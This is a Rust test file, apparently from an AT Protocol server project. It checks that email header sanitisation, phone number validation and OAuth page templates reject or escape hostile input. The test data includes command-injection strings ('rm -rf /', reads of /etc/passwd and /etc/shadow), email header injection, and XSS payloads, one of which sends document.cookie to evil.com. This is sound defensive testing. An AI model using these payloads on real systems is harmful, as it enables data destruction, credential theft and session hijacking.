this repo has no description
1mod common; 2use bspds::image::{ImageError, ImageProcessor}; 3use bspds::notifications::{SendError, is_valid_phone_number, sanitize_header_value}; 4use bspds::oauth::templates::{error_page, login_page, success_page}; 5 6#[test] 7fn test_sanitize_header_value_removes_crlf() { 8 let malicious = "Injected\r\nBcc: attacker@evil.com"; 9 let sanitized = sanitize_header_value(malicious); 10 assert!(!sanitized.contains('\r'), "CR should be removed"); 11 assert!(!sanitized.contains('\n'), "LF should be removed"); 12 assert!( 13 sanitized.contains("Injected"), 14 "Original content should be preserved" 15 ); 16 assert!( 17 sanitized.contains("Bcc:"), 18 "Text after newline should be on same line (no header injection)" 19 ); 20} 21 22#[test] 23fn test_sanitize_header_value_preserves_content() { 24 let normal = "Normal Subject Line"; 25 let sanitized = sanitize_header_value(normal); 26 assert_eq!(sanitized, "Normal Subject Line"); 27} 28 29#[test] 30fn test_sanitize_header_value_trims_whitespace() { 31 let padded = " Subject "; 32 let sanitized = sanitize_header_value(padded); 33 assert_eq!(sanitized, "Subject"); 34} 35 36#[test] 37fn test_sanitize_header_value_handles_multiple_newlines() { 38 let input = "Line1\r\nLine2\nLine3\rLine4"; 39 let sanitized = sanitize_header_value(input); 40 assert!(!sanitized.contains('\r'), "CR should be removed"); 41 assert!(!sanitized.contains('\n'), "LF should be removed"); 42 assert!( 43 sanitized.contains("Line1"), 44 "Content before newlines preserved" 45 ); 46 assert!( 47 sanitized.contains("Line4"), 48 "Content after newlines preserved" 49 ); 50} 51 52#[test] 53fn test_email_header_injection_sanitization() { 54 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value"; 55 let sanitized = sanitize_header_value(header_injection); 56 let lines: Vec<&str> = sanitized.split("\r\n").collect(); 57 assert_eq!(lines.len(), 1, "Should be a single line after sanitization"); 58 assert!( 59 sanitized.contains("Normal Subject"), 60 "Original content preserved" 61 ); 62 assert!( 63 sanitized.contains("Bcc:"), 64 "Content after CRLF preserved as same line text" 65 ); 66 assert!( 67 sanitized.contains("X-Injected:"), 68 "All content on same line" 69 ); 70} 71 72#[test] 73fn test_valid_phone_number_accepts_correct_format() { 74 assert!(is_valid_phone_number("+1234567890")); 75 assert!(is_valid_phone_number("+12025551234")); 76 assert!(is_valid_phone_number("+442071234567")); 77 assert!(is_valid_phone_number("+4915123456789")); 78 assert!(is_valid_phone_number("+1")); 79} 80 81#[test] 82fn test_valid_phone_number_rejects_missing_plus() { 83 assert!(!is_valid_phone_number("1234567890")); 84 assert!(!is_valid_phone_number("12025551234")); 85} 86 87#[test] 88fn test_valid_phone_number_rejects_empty() { 89 assert!(!is_valid_phone_number("")); 90} 91 92#[test] 93fn test_valid_phone_number_rejects_just_plus() { 94 assert!(!is_valid_phone_number("+")); 95} 96 97#[test] 98fn test_valid_phone_number_rejects_too_long() { 99 assert!(!is_valid_phone_number("+12345678901234567890123")); 100} 101 102#[test] 103fn test_valid_phone_number_rejects_letters() { 104 assert!(!is_valid_phone_number("+abc123")); 105 assert!(!is_valid_phone_number("+1234abc")); 106 assert!(!is_valid_phone_number("+a")); 107} 108 109#[test] 110fn test_valid_phone_number_rejects_spaces() { 111 assert!(!is_valid_phone_number("+1234 5678")); 112 assert!(!is_valid_phone_number("+ 1234567890")); 113 assert!(!is_valid_phone_number("+1 ")); 114} 115 116#[test] 117fn test_valid_phone_number_rejects_special_chars() { 118 assert!(!is_valid_phone_number("+123-456-7890")); 119 assert!(!is_valid_phone_number("+1(234)567890")); 120 assert!(!is_valid_phone_number("+1.234.567.890")); 121} 122 123#[test] 124fn test_signal_recipient_command_injection_blocked() { 125 let malicious_inputs = vec![ 126 "+123; rm -rf /", 127 "+123 && cat /etc/passwd", 128 "+123`id`", 129 "+123$(whoami)", 130 "+123|cat /etc/shadow", 131 "+123\n--help", 132 "+123\r\n--version", 133 "+123--help", 134 ]; 135 for input in malicious_inputs { 136 assert!( 137 !is_valid_phone_number(input), 138 "Malicious input '{}' should be rejected", 139 input 140 ); 141 } 142} 143 144#[test] 145fn test_image_file_size_limit_enforced() { 146 let processor = ImageProcessor::new(); 147 let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024]; 148 let result = processor.process(&oversized_data, "image/jpeg"); 149 match result { 150 Err(ImageError::FileTooLarge { .. }) => {} 151 Err(other) => { 152 let msg = format!("{:?}", other); 153 if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") { 154 panic!("Expected FileTooLarge error, got: {:?}", other); 155 } 156 } 157 Ok(_) => panic!("Should reject files over size limit"), 158 } 159} 160 161#[test] 162fn test_image_file_size_limit_configurable() { 163 let processor = ImageProcessor::new().with_max_file_size(1024); 164 let data: Vec<u8> = vec![0u8; 2048]; 165 let result = processor.process(&data, "image/jpeg"); 166 assert!(result.is_err(), "Should reject files over configured limit"); 167} 168 169#[test] 170fn test_oauth_template_xss_escaping_client_id() { 171 let malicious_client_id = "<script>alert('xss')</script>"; 172 let html = login_page(malicious_client_id, None, None, "test-uri", None, None); 173 assert!(!html.contains("<script>"), "Script tags should be escaped"); 174 assert!( 175 html.contains("&lt;script&gt;"), 176 "HTML entities should be used for escaping" 177 ); 178} 179 180#[test] 181fn test_oauth_template_xss_escaping_client_name() { 182 let malicious_client_name = "<img src=x onerror=alert('xss')>"; 183 let html = login_page( 184 "client123", 185 Some(malicious_client_name), 186 None, 187 "test-uri", 188 None, 189 None, 190 ); 191 assert!(!html.contains("<img "), "IMG tags should be escaped"); 192 assert!( 193 html.contains("&lt;img"), 194 "IMG tag should be escaped as HTML entity" 195 ); 196} 197 198#[test] 199fn test_oauth_template_xss_escaping_scope() { 200 let malicious_scope = "\"><script>alert('xss')</script>"; 201 let html = login_page( 202 "client123", 203 None, 204 Some(malicious_scope), 205 "test-uri", 206 None, 207 None, 208 ); 209 assert!( 210 !html.contains("<script>"), 211 "Script tags in scope should be escaped" 212 ); 213} 214 215#[test] 216fn test_oauth_template_xss_escaping_error_message() { 217 let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>"; 218 let html = login_page( 219 "client123", 220 None, 221 None, 222 "test-uri", 223 Some(malicious_error), 224 None, 225 ); 226 assert!( 227 !html.contains("<script>"), 228 "Script tags in error should be escaped" 229 ); 230} 231 232#[test] 233fn test_oauth_template_xss_escaping_login_hint() { 234 let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\""; 235 let html = login_page( 236 "client123", 237 None, 238 None, 239 "test-uri", 240 None, 241 Some(malicious_hint), 242 ); 243 assert!( 244 !html.contains("onfocus=\"alert"), 245 "Event handlers should be escaped in login hint" 246 ); 247 assert!(html.contains("&quot;"), "Quotes should be escaped"); 248} 249 250#[test] 251fn test_oauth_template_xss_escaping_request_uri() { 252 let malicious_uri = "\" onmouseover=\"alert('xss')\""; 253 let html = login_page("client123", None, None, malicious_uri, None, None); 254 assert!( 255 !html.contains("onmouseover=\"alert"), 256 "Event handlers should be escaped in request_uri" 257 ); 258} 259 260#[test] 261fn test_oauth_error_page_xss_escaping() { 262 let malicious_error = "<script>steal()</script>"; 263 let malicious_desc = "<img src=x onerror=evil()>"; 264 let html = error_page(malicious_error, Some(malicious_desc)); 265 assert!( 266 !html.contains("<script>"), 267 "Script tags should be escaped in error page" 268 ); 269 assert!( 270 !html.contains("<img "), 271 "IMG tags should be escaped in error page" 272 ); 273} 274 275#[test] 276fn test_oauth_success_page_xss_escaping() { 277 let malicious_name = "<script>steal_session()</script>"; 278 let html = success_page(Some(malicious_name)); 279 assert!( 280 !html.contains("<script>"), 281 "Script tags should be escaped in success page" 282 ); 283} 284 285#[test] 286fn test_oauth_template_no_javascript_urls() { 287 let html = login_page("client123", None, None, "test-uri", None, None); 288 assert!( 289 !html.contains("javascript:"), 290 "Login page should not contain javascript: URLs" 291 ); 292 let error_html = error_page("test_error", None); 293 assert!( 294 !error_html.contains("javascript:"), 295 "Error page should not contain javascript: URLs" 296 ); 297 let success_html = success_page(None); 298 assert!( 299 !success_html.contains("javascript:"), 300 "Success page should not contain javascript: URLs" 301 ); 302} 303 304#[test] 305fn test_oauth_template_form_action_safe() { 306 let malicious_uri = "javascript:alert('xss')//"; 307 let html = login_page("client123", None, None, malicious_uri, None, None); 308 assert!( 309 html.contains("action=\"/oauth/authorize\""), 310 "Form action should be fixed URL" 311 ); 312} 313 314#[test] 315fn test_send_error_types_have_display() { 316 let timeout = SendError::Timeout; 317 let max_retries = SendError::MaxRetriesExceeded("test".to_string()); 318 let invalid_recipient = SendError::InvalidRecipient("bad recipient".to_string()); 319 assert!(!format!("{}", timeout).is_empty()); 320 assert!(!format!("{}", max_retries).is_empty()); 321 assert!(!format!("{}", invalid_recipient).is_empty()); 322} 323 324#[test] 325fn test_send_error_timeout_message() { 326 let error = SendError::Timeout; 327 let msg = format!("{}", error); 328 assert!( 329 msg.to_lowercase().contains("timeout"), 330 "Timeout error should mention timeout" 331 ); 332} 333 334#[test] 335fn test_send_error_max_retries_includes_detail() { 336 let error = SendError::MaxRetriesExceeded("Server returned 503".to_string()); 337 let msg = format!("{}", error); 338 assert!( 339 msg.contains("503") || msg.contains("retries"), 340 "MaxRetriesExceeded should include context" 341 ); 342} 343 344#[tokio::test] 345async fn test_check_signup_queue_accepts_session_jwt() { 346 use common::{base_url, client, create_account_and_login}; 347 let base = base_url().await; 348 let http_client = client(); 349 let (token, _did) = create_account_and_login(&http_client).await; 350 let res = http_client 351 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 352 .header("Authorization", format!("Bearer {}", token)) 353 .send() 354 .await 355 .unwrap(); 356 assert_eq!( 357 res.status(), 358 reqwest::StatusCode::OK, 359 "Session JWTs should be accepted" 360 ); 361 let body: serde_json::Value = res.json().await.unwrap(); 362 assert_eq!(body["activated"], true); 363} 364 365#[tokio::test] 366async fn test_check_signup_queue_no_auth() { 367 use common::{base_url, client}; 368 let base = base_url().await; 369 let http_client = client(); 370 let res = http_client 371 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 372 .send() 373 .await 374 .unwrap(); 375 assert_eq!(res.status(), reqwest::StatusCode::OK, "No auth should work"); 376 let body: serde_json::Value = res.json().await.unwrap(); 377 assert_eq!(body["activated"], true); 378} 379 380#[test] 381fn test_html_escape_ampersand() { 382 let html = login_page("client&test", None, None, "test-uri", None, None); 383 assert!(html.contains("&amp;"), "Ampersand should be escaped"); 384 assert!( 385 !html.contains("client&test"), 386 "Raw ampersand should not appear in output" 387 ); 388} 389 390#[test] 391fn test_html_escape_quotes() { 392 let html = login_page("client\"test'more", None, None, "test-uri", None, None); 393 assert!( 394 html.contains("&quot;") || html.contains("&#34;"), 395 "Double quotes should be escaped" 396 ); 397 assert!( 398 html.contains("&#39;") || html.contains("&apos;"), 399 "Single quotes should be escaped" 400 ); 401} 402 403#[test] 404fn test_html_escape_angle_brackets() { 405 let html = login_page("client<test>more", None, None, "test-uri", None, None); 406 assert!(html.contains("&lt;"), "Less than should be escaped"); 407 assert!(html.contains("&gt;"), "Greater than should be escaped"); 408 assert!( 409 !html.contains("<test>"), 410 "Raw angle brackets should not appear" 411 ); 412} 413 414#[test] 415fn test_oauth_template_preserves_safe_content() { 416 let html = login_page( 417 "my-safe-client", 418 Some("My Safe App"), 419 Some("read write"), 420 "valid-uri", 421 None, 422 Some("user@example.com"), 423 ); 424 assert!( 425 html.contains("my-safe-client") || html.contains("My Safe App"), 426 "Safe content should be preserved" 427 ); 428 assert!( 429 html.contains("read write") || html.contains("read"), 430 "Scope should be preserved" 431 ); 432 assert!( 433 html.contains("user@example.com"), 434 "Login hint should be preserved" 435 ); 436} 437 438#[test] 439fn test_csrf_like_input_value_protection() { 440 let malicious = "\" onclick=\"alert('csrf')"; 441 let html = login_page("client", None, None, malicious, None, None); 442 assert!( 443 !html.contains("onclick=\"alert"), 444 "Event handlers should not be executable" 445 ); 446} 447 448#[test] 449fn test_unicode_handling_in_templates() { 450 let unicode_client = "客户端 クライアント"; 451 let html = login_page(unicode_client, None, None, "test-uri", None, None); 452 assert!( 453 html.contains("客户端") || html.contains("&#"), 454 "Unicode should be preserved or encoded" 455 ); 456} 457 458#[test] 459fn test_null_byte_in_input() { 460 let with_null = "client\0id"; 461 let sanitized = sanitize_header_value(with_null); 462 assert!( 463 sanitized.contains("client"), 464 "Content before null should be preserved" 465 ); 466} 467 468#[test] 469fn test_very_long_input_handling() { 470 let long_input = "x".repeat(10000); 471 let sanitized = sanitize_header_value(&long_input); 472 assert!( 473 !sanitized.is_empty(), 474 "Long input should still produce output" 475 ); 476}